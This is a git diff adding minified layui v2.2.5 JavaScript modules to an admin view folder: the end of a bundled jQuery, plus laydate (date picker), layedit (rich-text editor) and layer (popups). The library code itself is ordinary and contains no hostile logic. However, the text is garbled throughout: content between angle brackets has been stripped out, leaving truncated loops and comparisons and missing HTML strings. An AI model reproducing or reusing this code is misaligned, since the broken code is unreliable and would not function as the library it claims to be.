    ").append(pe.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},pe.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){pe.fn[t]=function(e){return this.on(t,e)}}),pe.expr.filters.animated=function(e){return pe.grep(pe.timers,function(t){return e===t.elem}).length},pe.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=pe.css(e,"position"),f=pe(e),d={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=pe.css(e,"top"),u=pe.css(e,"left"),l=("absolute"===c||"fixed"===c)&&pe.inArray("auto",[o,u])>-1,l?(r=f.position(),a=r.top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),pe.isFunction(t)&&(t=t.call(e,n,pe.extend({},s))),null!=t.top&&(d.top=t.top-s.top+a),null!=t.left&&(d.left=t.left-s.left+i),"using"in t?t.using.call(e,d):f.css(d)}},pe.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){pe.offset.setOffset(this,e,t)});var t,n,r={top:0,left:0},i=this[0],o=i&&i.ownerDocument;if(o)return t=o.documentElement,pe.contains(t,i)?("undefined"!=typeof i.getBoundingClientRect&&(r=i.getBoundingClientRect()),n=te(o),{top:r.top+(n.pageYOffset||t.scrollTop)-(t.clientTop||0),left:r.left+(n.pageXOffset||t.scrollLeft)-(t.clientLeft||0)}):r},position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===pe.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),pe.nodeName(e[0],"html")||(n=e.offset()),n.top+=pe.css(e[0],"borderTopWidth",!0),n.left+=pe.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-pe.css(r,"marginTop",!0),left:t.left-n.left-pe.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){ +for(var e=this.offsetParent;e&&!pe.nodeName(e,"html")&&"static"===pe.css(e,"position");)e=e.offsetParent;return e||pt})}}),pe.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n=/Y/.test(t);pe.fn[e]=function(r){return Pe(this,function(e,r,i){var o=te(e);return void 0===i?o?t in o?o[t]:o.document.documentElement[r]:e[r]:void(o?o.scrollTo(n?pe(o).scrollLeft():i,n?i:pe(o).scrollTop()):e[r]=i)},e,r,arguments.length,null)}}),pe.each(["top","left"],function(e,t){pe.cssHooks[t]=L(fe.pixelPosition,function(e,n){if(n)return n=gt(e,t),ft.test(n)?pe(e).position()[t]+"px":n})}),pe.each({Height:"height",Width:"width"},function(e,t){pe.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){pe.fn[r]=function(r,i){var o=arguments.length&&(n||"boolean"!=typeof r),a=n||(r===!0||i===!0?"margin":"border");return Pe(this,function(t,n,r){var i;return pe.isWindow(t)?t.document.documentElement["client"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body["scroll"+e],i["scroll"+e],t.body["offset"+e],i["offset"+e],i["client"+e])):void 0===r?pe.css(t,n,a):pe.style(t,n,r,a)},t,o?r:void 0,o,null)}})}),pe.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),pe.fn.size=function(){return this.length},pe.fn.andSelf=pe.fn.addBack,layui.define(function(e){layui.$=pe,e("jquery",pe)}),pe}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/laydate.js b/application/view/Admin/layui/lay/modules/laydate.js new file mode 100644 index 0000000..c8ee252 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/laydate.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;!function(){"use strict";var e=window.layui&&layui.define,t={getPath:function(){var e=document.currentScript?document.currentScript.src:function(){for(var e,t=document.scripts,n=t.length-1,a=n;a>0;a--)if("interactive"===t[a].readyState){e=t[a].src;break}return e||t[n].src}();return e.substring(0,e.lastIndexOf("/")+1)}(),getStyle:function(e,t){var n=e.currentStyle?e.currentStyle:window.getComputedStyle(e,null);return n[n.getPropertyValue?"getPropertyValue":"getAttribute"](t)},link:function(e,a,i){if(n.path){var r=document.getElementsByTagName("head")[0],o=document.createElement("link");"string"==typeof a&&(i=a);var s=(i||e).replace(/\.|\//g,""),l="layuicss-"+s,d=0;o.rel="stylesheet",o.href=n.path+e,o.id=l,document.getElementById(l)||r.appendChild(o),"function"==typeof a&&!function c(){return++d>80?window.console&&console.error("laydate.css: Invalid"):void(1989===parseInt(t.getStyle(document.getElementById(l),"width"))?a():setTimeout(c,100))}()}}},n={v:"5.0.9",config:{},index:window.laydate&&window.laydate.v?1e5:0,path:t.getPath,set:function(e){var t=this;return t.config=w.extend({},t.config,e),t},ready:function(a){var i="laydate",r="",o=(e?"modules/laydate/":"theme/")+"default/laydate.css?v="+n.v+r;return e?layui.addcss(o,a,i):t.link(o,a,i),this}},a=function(){var e=this;return{hint:function(t){e.hint.call(e,t)},config:e.config}},i="laydate",r=".layui-laydate",o="layui-this",s="laydate-disabled",l="开始日期超出了结束日期
    建议重新选择",d=[100,2e5],c="layui-laydate-static",m="layui-laydate-list",u="laydate-selected",h="layui-laydate-hint",y="laydate-day-prev",f="laydate-day-next",p="layui-laydate-footer",g=".laydate-btns-confirm",v="laydate-time-text",D=".laydate-btns-time",T=function(e){var t=this;t.index=++n.index,t.config=w.extend({},t.config,n.config,e),n.ready(function(){t.init()})},w=function(e){return new C(e)},C=function(e){for(var t=0,n="object"==typeof e?[e]:(this.selector=e,document.querySelectorAll(e||null));t0)return n[0].getAttribute(e)}():n.each(function(n,a){a.setAttribute(e,t)})},C.prototype.removeAttr=function(e){return this.each(function(t,n){n.removeAttribute(e)})},C.prototype.html=function(e){return this.each(function(t,n){n.innerHTML=e})},C.prototype.val=function(e){return this.each(function(t,n){n.value=e})},C.prototype.append=function(e){return this.each(function(t,n){"object"==typeof e?n.appendChild(e):n.innerHTML=n.innerHTML+e})},C.prototype.remove=function(e){return this.each(function(t,n){e?n.removeChild(e):n.parentNode.removeChild(n)})},C.prototype.on=function(e,t){return this.each(function(n,a){a.attachEvent?a.attachEvent("on"+e,function(e){e.target=e.srcElement,t.call(a,e)}):a.addEventListener(e,t,!1)})},C.prototype.off=function(e,t){return this.each(function(n,a){a.detachEvent?a.detachEvent("on"+e,t):a.removeEventListener(e,t,!1)})},T.isLeapYear=function(e){return e%4===0&&e%100!==0||e%400===0},T.prototype.config={type:"date",range:!1,format:"yyyy-MM-dd",value:null,min:"1900-1-1",max:"2099-12-31",trigger:"focus",show:!1,showBottom:!0,btns:["clear","now","confirm"],lang:"cn",theme:"default",position:null,calendar:!1,mark:{},zIndex:null,done:null,change:null},T.prototype.lang=function(){var e=this,t=e.config,n={cn:{weeks:["日","一","二","三","四","五","六"],time:["时","分","秒"],timeTips:"选择时间",startTime:"开始时间",endTime:"结束时间",dateTips:"返回日期",month:["一","二","三","四","五","六","七","八","九","十","十一","十二"],tools:{confirm:"确定",clear:"清空",now:"现在"}},en:{weeks:["Su","Mo","Tu","We","Th","Fr","Sa"],time:["Hours","Minutes","Seconds"],timeTips:"Select Time",startTime:"Start Time",endTime:"End Time",dateTips:"Select Date",month:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],tools:{confirm:"Confirm",clear:"Clear",now:"Now"}}};return n[t.lang]||n.cn},T.prototype.init=function(){var e=this,t=e.config,n="yyyy|y|MM|M|dd|d|HH|H|mm|m|ss|s",a="static"===t.position,i={year:"yyyy",month:"yyyy-MM",date:"yyyy-MM-dd",time:"HH:mm:ss",datetime:"yyyy-MM-dd HH:mm:ss"};t.elem=w(t.elem),t.eventElem=w(t.eventElem),t.elem[0]&&(t.range===!0&&(t.range="-"),t.format===i.date&&(t.format=i[t.type]),e.format=t.format.match(new RegExp(n+"|.","g"))||[],e.EXP_IF="",e.EXP_SPLIT="",w.each(e.format,function(t,a){var i=new RegExp(n).test(a)?"\\d{"+function(){return new RegExp(n).test(e.format[0===t?t+1:t-1]||"")?/^yyyy|y$/.test(a)?4:a.length:/^yyyy$/.test(a)?"1,4":/^y$/.test(a)?"1,308":"1,2"}()+"}":"\\"+a;e.EXP_IF=e.EXP_IF+i,e.EXP_SPLIT=e.EXP_SPLIT+"("+i+")"}),e.EXP_IF=new RegExp("^"+(t.range?e.EXP_IF+"\\s\\"+t.range+"\\s"+e.EXP_IF:e.EXP_IF)+"$"),e.EXP_SPLIT=new RegExp("^"+e.EXP_SPLIT+"$",""),e.isInput(t.elem[0])||"focus"===t.trigger&&(t.trigger="click"),t.elem.attr("lay-key")||(t.elem.attr("lay-key",e.index),t.eventElem.attr("lay-key",e.index)),t.mark=w.extend({},t.calendar&&"cn"===t.lang?{"0-1-1":"元旦","0-2-14":"情人","0-3-8":"妇女","0-3-12":"植树","0-4-1":"愚人","0-5-1":"劳动","0-5-4":"青年","0-6-1":"儿童","0-9-10":"教师","0-9-18":"国耻","0-10-1":"国庆","0-12-25":"圣诞"}:{},t.mark),w.each(["min","max"],function(e,n){var a=[],i=[];if("number"==typeof t[n]){var r=t[n],o=(new Date).getTime(),s=864e5,l=new Date(r?r0)return!0;var a=w.elem("div",{"class":"layui-laydate-header"}),i=[function(){var e=w.elem("i",{"class":"layui-icon laydate-icon laydate-prev-y"});return e.innerHTML="",e}(),function(){var e=w.elem("i",{"class":"layui-icon laydate-icon laydate-prev-m"});return e.innerHTML="",e}(),function(){var e=w.elem("div",{"class":"laydate-set-ym"}),t=w.elem("span"),n=w.elem("span");return e.appendChild(t),e.appendChild(n),e}(),function(){var e=w.elem("i",{"class":"layui-icon laydate-icon laydate-next-m"});return e.innerHTML="",e}(),function(){var e=w.elem("i",{"class":"layui-icon laydate-icon laydate-next-y"});return e.innerHTML="",e}()],d=w.elem("div",{"class":"layui-laydate-content"}),c=w.elem("table"),m=w.elem("thead"),u=w.elem("tr");w.each(i,function(e,t){a.appendChild(t)}),m.appendChild(u),w.each(new Array(6),function(e){var t=c.insertRow(0);w.each(new Array(7),function(a){if(0===e){var i=w.elem("th");i.innerHTML=n.weeks[a],u.appendChild(i)}t.insertCell(a)})}),c.insertBefore(m,c.children[0]),d.appendChild(c),r[e]=w.elem("div",{"class":"layui-laydate-main laydate-main-list-"+e}),r[e].appendChild(a),r[e].appendChild(d),o.push(i),s.push(d),l.push(c)}),w(d).html(function(){var e=[],i=[];return"datetime"===t.type&&e.push(''+n.timeTips+""),w.each(t.btns,function(e,r){var o=n.tools[r]||"btn";t.range&&"now"===r||(a&&"clear"===r&&(o="cn"===t.lang?"重置":"Reset"),i.push(''+o+""))}),e.push('"),e.join("")}()),w.each(r,function(e,t){i.appendChild(t)}),t.showBottom&&i.appendChild(d),/^#/.test(t.theme)){var m=w.elem("style"),u=["#{{id}} .layui-laydate-header{background-color:{{theme}};}","#{{id}} .layui-this{background-color:{{theme}} !important;}"].join("").replace(/{{id}}/g,e.elemID).replace(/{{theme}}/g,t.theme);"styleSheet"in m?(m.setAttribute("type","text/css"),m.styleSheet.cssText=u):m.innerHTML=u,w(i).addClass("laydate-theme-molv"),i.appendChild(m)}e.remove(T.thisElemDate),a?t.elem.append(i):(document.body.appendChild(i),e.position()),e.checkDate().calendar(),e.changeEvent(),T.thisElemDate=e.elemID,"function"==typeof t.ready&&t.ready(w.extend({},t.dateTime,{month:t.dateTime.month+1}))},T.prototype.remove=function(e){var t=this,n=(t.config,w("#"+(e||t.elemID)));return n.hasClass(c)||t.checkDate(function(){n.remove()}),t},T.prototype.position=function(){var e=this,t=e.config,n=e.bindElem||t.elem[0],a=n.getBoundingClientRect(),i=e.elem.offsetWidth,r=e.elem.offsetHeight,o=function(e){return e=e?"scrollLeft":"scrollTop",document.body[e]|document.documentElement[e]},s=function(e){return document.documentElement[e?"clientWidth":"clientHeight"]},l=5,d=a.left,c=a.bottom;d+i+l>s("width")&&(d=s("width")-i-l),c+r+l>s()&&(c=a.top>r?a.top-r:s()-r,c-=2*l),t.position&&(e.elem.style.position=t.position),e.elem.style.left=d+("fixed"===t.position?0:o(1))+"px",e.elem.style.top=c+("fixed"===t.position?0:o())+"px"},T.prototype.hint=function(e){var t=this,n=(t.config,w.elem("div",{"class":h}));n.innerHTML=e||"",w(t.elem).find("."+h).remove(),t.elem.appendChild(n),clearTimeout(t.hinTimer),t.hinTimer=setTimeout(function(){w(t.elem).find("."+h).remove()},3e3)},T.prototype.getAsYM=function(e,t,n){return n?t--:t++,t<0&&(t=11,e--),t>11&&(t=0,e++),[e,t]},T.prototype.systemDate=function(e){var t=e||new Date;return{year:t.getFullYear(),month:t.getMonth(),date:t.getDate(),hours:e?e.getHours():0,minutes:e?e.getMinutes():0,seconds:e?e.getSeconds():0}},T.prototype.checkDate=function(e){var t,a,i=this,r=(new Date,i.config),o=r.dateTime=r.dateTime||i.systemDate(),s=i.bindElem||r.elem[0],l=(i.isInput(s)?"val":"html",i.isInput(s)?s.value:"static"===r.position?"":s.innerHTML),c=function(e){e.year>d[1]&&(e.year=d[1],a=!0),e.month>11&&(e.month=11,a=!0),e.hours>23&&(e.hours=0,a=!0),e.minutes>59&&(e.minutes=0,e.hours++,a=!0),e.seconds>59&&(e.seconds=0,e.minutes++,a=!0),t=n.getEndDate(e.month+1,e.year),e.date>t&&(e.date=t,a=!0)},m=function(e,t,n){var o=["startTime","endTime"];t=(t.match(i.EXP_SPLIT)||[]).slice(1),n=n||0,r.range&&(i[o[n]]=i[o[n]]||{}),w.each(i.format,function(s,l){var c=parseFloat(t[s]);t[s].length必须遵循下述格式:
    "+(r.range?r.format+" "+r.range+" "+r.format:r.format)+"
    已为你重置"),a=!0):l&&l.constructor===Date?r.dateTime=i.systemDate(l):(r.dateTime=i.systemDate(),delete i.startState,delete i.endState,delete i.startDate,delete i.endDate,delete i.startTime,delete i.endTime),c(o),a&&l&&i.setValue(r.range?i.endDate?i.parse():"":i.parse()),e&&e(),i)},T.prototype.mark=function(e,t){var n,a=this,i=a.config;return w.each(i.mark,function(e,a){var i=e.split("-");i[0]!=t[0]&&0!=i[0]||i[1]!=t[1]&&0!=i[1]||i[2]!=t[2]||(n=a||t[2])}),n&&e.html(''+n+""),a},T.prototype.limit=function(e,t,n,a){var i,r=this,o=r.config,l={},d=o[n>41?"endDate":"dateTime"],c=w.extend({},d,t||{});return w.each({now:c,min:o.min,max:o.max},function(e,t){l[e]=r.newDate(w.extend({year:t.year,month:t.month,date:t.date},function(){var e={};return w.each(a,function(n,a){e[a]=t[a]}),e}())).getTime()}),i=l.nowl.max,e&&e[i?"addClass":"removeClass"](s),i},T.prototype.calendar=function(e){var t,a,i,r=this,s=r.config,l=e||s.dateTime,c=new Date,m=r.lang(),u="date"!==s.type&&"datetime"!==s.type,h=e?1:0,y=w(r.table[h]).find("td"),f=w(r.elemHeader[h][2]).find("span");if(l.yeard[1]&&(l.year=d[1],r.hint("最高只能支持到公元"+d[1]+"年")),r.firstDate||(r.firstDate=w.extend({},l)),c.setFullYear(l.year,l.month,1),t=c.getDay(),a=n.getEndDate(l.month||12,l.year),i=n.getEndDate(l.month+1,l.year),w.each(y,function(e,n){var d=[l.year,l.month],c=0;n=w(n),n.removeAttr("class"),e=t&&e=n.firstDate.year&&(r.month=a.max.month,r.date=a.max.date),n.limit(w(i),r,t),M++}),w(u[f?0:1]).attr("lay-ym",M-8+"-"+T[1]).html(b+p+" - "+(M-1+p))}else if("month"===e)w.each(new Array(12),function(e){var i=w.elem("li",{"lay-ym":e}),s={year:T[0],month:e};e+1==T[1]&&w(i).addClass(o),i.innerHTML=r.month[e]+(f?"月":""),d.appendChild(i),T[0]=n.firstDate.year&&(s.date=a.max.date),n.limit(w(i),s,t)}),w(u[f?0:1]).attr("lay-ym",T[0]+"-"+T[1]).html(T[0]+p);else if("time"===e){var E=function(){w(d).find("ol").each(function(e,a){w(a).find("li").each(function(a,i){n.limit(w(i),[{hours:a},{hours:n[x].hours,minutes:a},{hours:n[x].hours,minutes:n[x].minutes,seconds:a}][e],t,[["hours"],["hours","minutes"],["hours","minutes","seconds"]][e])})}),a.range||n.limit(w(n.footer).find(g),n[x],0,["hours","minutes","seconds"])};a.range?n[x]||(n[x]={hours:0,minutes:0,seconds:0}):n[x]=i,w.each([24,60,60],function(e,t){var a=w.elem("li"),i=["

    "+r.time[e]+"

      "];w.each(new Array(t),function(t){i.push(""+w.digit(t,2)+"")}),a.innerHTML=i.join("")+"
    ",d.appendChild(a)}),E()}if(y&&h.removeChild(y),h.appendChild(d),"year"===e||"month"===e)w(n.elemMain[t]).addClass("laydate-ym-show"),w(d).find("li").on("click",function(){var r=0|w(this).attr("lay-ym");if(!w(this).hasClass(s)){if(0===t)i[e]=r,l&&(n.startDate[e]=r),n.limit(w(n.footer).find(g),null,0);else if(l)n.endDate[e]=r;else{var c="year"===e?n.getAsYM(r,T[1]-1,"sub"):n.getAsYM(T[0],r,"sub");w.extend(i,{year:c[0],month:c[1]})}"year"===a.type||"month"===a.type?(w(d).find("."+o).removeClass(o),w(this).addClass(o),"month"===a.type&&"year"===e&&(n.listYM[t][0]=r,l&&(n[["startDate","endDate"][t]].year=r),n.list("month",t))):(n.checkDate("limit").calendar(),n.closeList()),n.setBtnStatus(),a.range||n.done(null,"change"),w(n.footer).find(D).removeClass(s)}});else{var S=w.elem("span",{"class":v}),k=function(){w(d).find("ol").each(function(e){var t=this,a=w(t).find("li");t.scrollTop=30*(n[x][C[e]]-2),t.scrollTop<=0&&a.each(function(e,n){if(!w(this).hasClass(s))return t.scrollTop=30*(e-2),!0})})},H=w(c[2]).find("."+v);k(),S.innerHTML=a.range?[r.startTime,r.endTime][t]:r.timeTips,w(n.elemMain[t]).addClass("laydate-time-show"),H[0]&&H.remove(),c[2].appendChild(S),w(d).find("ol").each(function(e){var t=this;w(t).find("li").on("click",function(){var r=0|this.innerHTML;w(this).hasClass(s)||(a.range?n[x][C[e]]=r:i[C[e]]=r,w(t).find("."+o).removeClass(o),w(this).addClass(o),E(),k(),(n.endDate||"time"===a.type)&&n.done(null,"change"),n.setBtnStatus())})})}return n},T.prototype.listYM=[],T.prototype.closeList=function(){var e=this;e.config;w.each(e.elemCont,function(t,n){w(this).find("."+m).remove(),w(e.elemMain[t]).removeClass("laydate-ym-show laydate-time-show")}),w(e.elem).find("."+v).remove()},T.prototype.setBtnStatus=function(e,t,n){var a,i=this,r=i.config,o=w(i.footer).find(g),d=r.range&&"date"!==r.type&&"time"!==r.type;d&&(t=t||i.startDate,n=n||i.endDate,a=i.newDate(t).getTime()>i.newDate(n).getTime(),i.limit(null,t)||i.limit(null,n)?o.addClass(s):o[a?"addClass":"removeClass"](s),e&&a&&i.hint("string"==typeof e?l.replace(/日期/g,e):l))},T.prototype.parse=function(e,t){var n=this,a=n.config,i=t||(e?w.extend({},n.endDate,n.endTime):a.range?w.extend({},n.startDate,n.startTime):a.dateTime),r=n.format.concat();return w.each(r,function(e,t){/yyyy|y/.test(t)?r[e]=w.digit(i.year,t.length):/MM|M/.test(t)?r[e]=w.digit(i.month+1,t.length):/dd|d/.test(t)?r[e]=w.digit(i.date,t.length):/HH|H/.test(t)?r[e]=w.digit(i.hours,t.length):/mm|m/.test(t)?r[e]=w.digit(i.minutes,t.length):/ss|s/.test(t)&&(r[e]=w.digit(i.seconds,t.length))}),a.range&&!e?r.join("")+" "+a.range+" "+n.parse(1):r.join("")},T.prototype.newDate=function(e){return e=e||{},new Date(e.year||1,e.month||0,e.date||1,e.hours||0,e.minutes||0,e.seconds||0)},T.prototype.setValue=function(e){var t=this,n=t.config,a=t.bindElem||n.elem[0],i=t.isInput(a)?"val":"html";return"static"===n.position||w(a)[i](e||""),this},T.prototype.stampRange=function(){var e,t,n=this,a=n.config,i=w(n.elem).find("td");if(a.range&&!n.endDate&&w(n.footer).find(g).addClass(s),n.endDate)return e=n.newDate({year:n.startDate.year,month:n.startDate.month,date:n.startDate.date}).getTime(),t=n.newDate({year:n.endDate.year,month:n.endDate.month,date:n.endDate.date}).getTime(),e>t?n.hint(l):void w.each(i,function(a,i){var r=w(i).attr("lay-ymd").split("-"),s=n.newDate({year:r[0],month:r[1]-1,date:r[2]}).getTime();w(i).removeClass(u+" "+o),s!==e&&s!==t||w(i).addClass(w(i).hasClass(y)||w(i).hasClass(f)?u:o),s>e&&s','
    '+f+"
    ",'
    ','',"
    ","
    "].join(""));return l.ie&&l.ie<8?c.removeClass("layui-hide").addClass(o):(d[0]&&d.remove(),s.call(a,m,c[0],y),c.addClass("layui-hide").after(m),a.index)},c.prototype.getContent=function(t){var e=u(t);if(e[0])return d(e[0].document.body.innerHTML)},c.prototype.getText=function(t){var i=u(t);if(i[0])return e(i[0].document.body).text()},c.prototype.setContent=function(t,i,a){var l=u(t);l[0]&&(a?e(l[0].document.body).append(i):e(l[0].document.body).html(i),layedit.sync(t))},c.prototype.sync=function(t){var i=u(t);if(i[0]){var a=e("#"+i[1].attr("textarea"));a.val(d(i[0].document.body.innerHTML))}},c.prototype.getSelection=function(t){var e=u(t);if(e[0]){var i=m(e[0].document);return document.selection?i.text:i.toString()}};var s=function(t,i,a){var l=this,n=t.find("iframe");n.css({height:a.height}).on("load",function(){var o=n.contents(),r=n.prop("contentWindow"),c=o.find("head"),s=e([""].join("")),u=o.find("body");c.append(s),u.attr("contenteditable","true").css({"min-height":a.height}).html(i.value||""),y.apply(l,[r,n,i,a]),g.call(l,r,t,a)})},u=function(t){var i=e("#LAY_layedit_"+t),a=i.prop("contentWindow");return[a,i]},d=function(t){return 8==l.ie&&(t=t.replace(/<.+>/g,function(t){return t.toLowerCase()})),t},y=function(t,a,n,o){var r=t.document,c=e(r.body);c.on("keydown",function(t){var e=t.keyCode;if(13===e){var a=m(r),l=p(a),n=l.parentNode;if("pre"===n.tagName.toLowerCase()){if(t.shiftKey)return;return i.msg("请暂时用shift+enter"),!1}r.execCommand("formatBlock",!1,"

    ")}}),e(n).parents("form").on("submit",function(){var t=c.html();8==l.ie&&(t=t.replace(/<.+>/g,function(t){return t.toLowerCase()})),n.value=t}),c.on("paste",function(e){r.execCommand("formatBlock",!1,"

    "),setTimeout(function(){f.call(t,c),n.value=c.html()},100)})},f=function(t){var i=this;i.document;t.find("*[style]").each(function(){var t=this.style.textAlign;this.removeAttribute("style"),e(this).css({"text-align":t||""})}),t.find("table").addClass("layui-table"),t.find("script,link").remove()},m=function(t){return t.selection?t.selection.createRange():t.getSelection().getRangeAt(0)},p=function(t){return t.endContainer||t.parentElement().childNodes[0]},v=function(t,i,a){var l=this.document,n=document.createElement(t);for(var o in i)n.setAttribute(o,i[o]);if(n.removeAttribute("text"),l.selection){var r=a.text||i.text;if("a"===t&&!r)return;r&&(n.innerHTML=r),a.pasteHTML(e(n).prop("outerHTML")),a.select()}else{var r=a.toString()||i.text;if("a"===t&&!r)return;r&&(n.innerHTML=r),a.deleteContents(),a.insertNode(n)}},h=function(t,i){var a=this.document,l="layedit-tool-active",n=p(m(a)),o=function(e){return t.find(".layedit-tool-"+e)};i&&i[i.hasClass(l)?"removeClass":"addClass"](l),t.find(">i").removeClass(l),o("unlink").addClass(r),e(n).parents().each(function(){var t=this.tagName.toLowerCase(),e=this.style.textAlign;"b"!==t&&"strong"!==t||o("b").addClass(l),"i"!==t&&"em"!==t||o("i").addClass(l),"u"===t&&o("u").addClass(l),"strike"===t&&o("d").addClass(l),"p"===t&&("center"===e?o("center").addClass(l):"right"===e?o("right").addClass(l):o("left").addClass(l)),"a"===t&&(o("link").addClass(l),o("unlink").removeClass(r))})},g=function(t,a,l){var n=t.document,o=e(n.body),c={link:function(i){var a=p(i),l=e(a).parent();b.call(o,{href:l.attr("href"),target:l.attr("target")},function(e){var a=l[0];"A"===a.tagName?a.href=e.url:v.call(t,"a",{target:e.target,href:e.url,text:e.url},i)})},unlink:function(t){n.execCommand("unlink")},face:function(e){x.call(this,function(i){v.call(t,"img",{src:i.src,alt:i.alt},e)})},image:function(a){var n=this;layui.use("upload",function(o){var r=l.uploadImage||{};o.render({url:r.url,method:r.type,elem:e(n).find("input")[0],done:function(e){0==e.code?(e.data=e.data||{},v.call(t,"img",{src:e.data.src,alt:e.data.title},a)):i.msg(e.msg||"上传失败")}})})},code:function(e){k.call(o,function(i){v.call(t,"pre",{text:i.code,"lay-lang":i.lang},e)})},help:function(){i.open({type:2,title:"帮助",area:["600px","380px"],shadeClose:!0,shade:.1,skin:"layui-layer-msg",content:["http://www.layui.com/about/layedit/help.html","no"]})}},s=a.find(".layui-layedit-tool"),u=function(){var i=e(this),a=i.attr("layedit-event"),l=i.attr("lay-command");if(!i.hasClass(r)){o.focus();var u=m(n);u.commonAncestorContainer;l?(n.execCommand(l),/justifyLeft|justifyCenter|justifyRight/.test(l)&&n.execCommand("formatBlock",!1,"

    "),setTimeout(function(){o.focus()},10)):c[a]&&c[a].call(this,u),h.call(t,s,i)}},d=/image/;s.find(">i").on("mousedown",function(){var t=e(this),i=t.attr("layedit-event");d.test(i)||u.call(this)}).on("click",function(){var t=e(this),i=t.attr("layedit-event");d.test(i)&&u.call(this)}),o.on("click",function(){h.call(t,s),i.close(x.index)})},b=function(t,e){var l=this,n=i.open({type:1,id:"LAY_layedit_link",area:"350px",shade:.05,shadeClose:!0,moveType:1,title:"超链接",skin:"layui-layer-msg",content:['

      ','
    • ','','
      ','',"
      ","
    • ",'
    • ','','
      ','",'","
      ","
    • ",'
    • ','','',"
    • ","
    "].join(""),success:function(t,n){var o="submit(layedit-link-yes)";a.render("radio"),t.find(".layui-btn-primary").on("click",function(){i.close(n),l.focus()}),a.on(o,function(t){i.close(b.index),e&&e(t.field)})}});b.index=n},x=function(t){var a=function(){var t=["[微笑]","[嘻嘻]","[哈哈]","[可爱]","[可怜]","[挖鼻]","[吃惊]","[害羞]","[挤眼]","[闭嘴]","[鄙视]","[爱你]","[泪]","[偷笑]","[亲亲]","[生病]","[太开心]","[白眼]","[右哼哼]","[左哼哼]","[嘘]","[衰]","[委屈]","[吐]","[哈欠]","[抱抱]","[怒]","[疑问]","[馋嘴]","[拜拜]","[思考]","[汗]","[困]","[睡]","[钱]","[失望]","[酷]","[色]","[哼]","[鼓掌]","[晕]","[悲伤]","[抓狂]","[黑线]","[阴险]","[怒骂]","[互粉]","[心]","[伤心]","[猪头]","[熊猫]","[兔子]","[ok]","[耶]","[good]","[NO]","[赞]","[来]","[弱]","[草泥马]","[神马]","[囧]","[浮云]","[给力]","[围观]","[威武]","[奥特曼]","[礼物]","[钟]","[话筒]","[蜡烛]","[蛋糕]"],e={};return layui.each(t,function(t,i){e[i]=layui.cache.dir+"images/face/"+t+".gif"}),e}();return x.hide=x.hide||function(t){"face"!==e(t.target).attr("layedit-event")&&i.close(x.index)},x.index=i.tips(function(){var t=[];return layui.each(a,function(e,i){t.push('
  • '+e+'
  • ')}),'
      '+t.join("")+"
    "}(),this,{tips:1,time:0,skin:"layui-box layui-util-face",maxWidth:500,success:function(l,n){l.css({marginTop:-4,marginLeft:-10}).find(".layui-clear>li").on("click",function(){t&&t({src:a[this.title],alt:this.title}),i.close(n)}),e(document).off("click",x.hide).on("click",x.hide)}})},k=function(t){var e=this,l=i.open({type:1,id:"LAY_layedit_code",area:"550px",shade:.05,shadeClose:!0,moveType:1,title:"插入代码",skin:"layui-layer-msg",content:['
      ','
    • ','','
      ','","
      ","
    • ",'
    • ','','
      ','',"
      ","
    • ",'
    • ','','',"
    • ","
    "].join(""),success:function(l,n){var o="submit(layedit-code-yes)";a.render("select"),l.find(".layui-btn-primary").on("click",function(){i.close(n),e.focus()}),a.on(o,function(e){i.close(k.index),t&&t(e.field)})}});k.index=l},C={html:'',strong:'',italic:'',underline:'',del:'',"|":'',left:'',center:'',right:'',link:'',unlink:'',face:'',image:'',code:'',help:''},w=new c;t(n,w)}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/layer.js b/application/view/Admin/layui/lay/modules/layer.js new file mode 100644 index 0000000..0470aac --- /dev/null +++ b/application/view/Admin/layui/lay/modules/layer.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;!function(e,t){"use strict";var i,n,a=e.layui&&layui.define,o={getPath:function(){var e=document.currentScript?document.currentScript.src:function(){for(var e,t=document.scripts,i=t.length-1,n=i;n>0;n--)if("interactive"===t[n].readyState){e=t[n].src;break}return e||t[i].src}();return e.substring(0,e.lastIndexOf("/")+1)}(),config:{},end:{},minIndex:0,minLeft:[],btn:["确定","取消"],type:["dialog","page","iframe","loading","tips"],getStyle:function(t,i){var n=t.currentStyle?t.currentStyle:e.getComputedStyle(t,null);return n[n.getPropertyValue?"getPropertyValue":"getAttribute"](i)},link:function(t,i,n){if(r.path){var a=document.getElementsByTagName("head")[0],s=document.createElement("link");"string"==typeof i&&(n=i);var l=(n||t).replace(/\.|\//g,""),f="layuicss-"+l,c=0;s.rel="stylesheet",s.href=r.path+t,s.id=f,document.getElementById(f)||a.appendChild(s),"function"==typeof i&&!function u(){return++c>80?e.console&&console.error("layer.css: Invalid"):void(1989===parseInt(o.getStyle(document.getElementById(f),"width"))?i():setTimeout(u,100))}()}}},r={v:"3.1.1",ie:function(){var t=navigator.userAgent.toLowerCase();return!!(e.ActiveXObject||"ActiveXObject"in e)&&((t.match(/msie\s(\d+)/)||[])[1]||"11")}(),index:e.layer&&e.layer.v?1e5:0,path:o.getPath,config:function(e,t){return e=e||{},r.cache=o.config=i.extend({},o.config,e),r.path=o.config.path||r.path,"string"==typeof 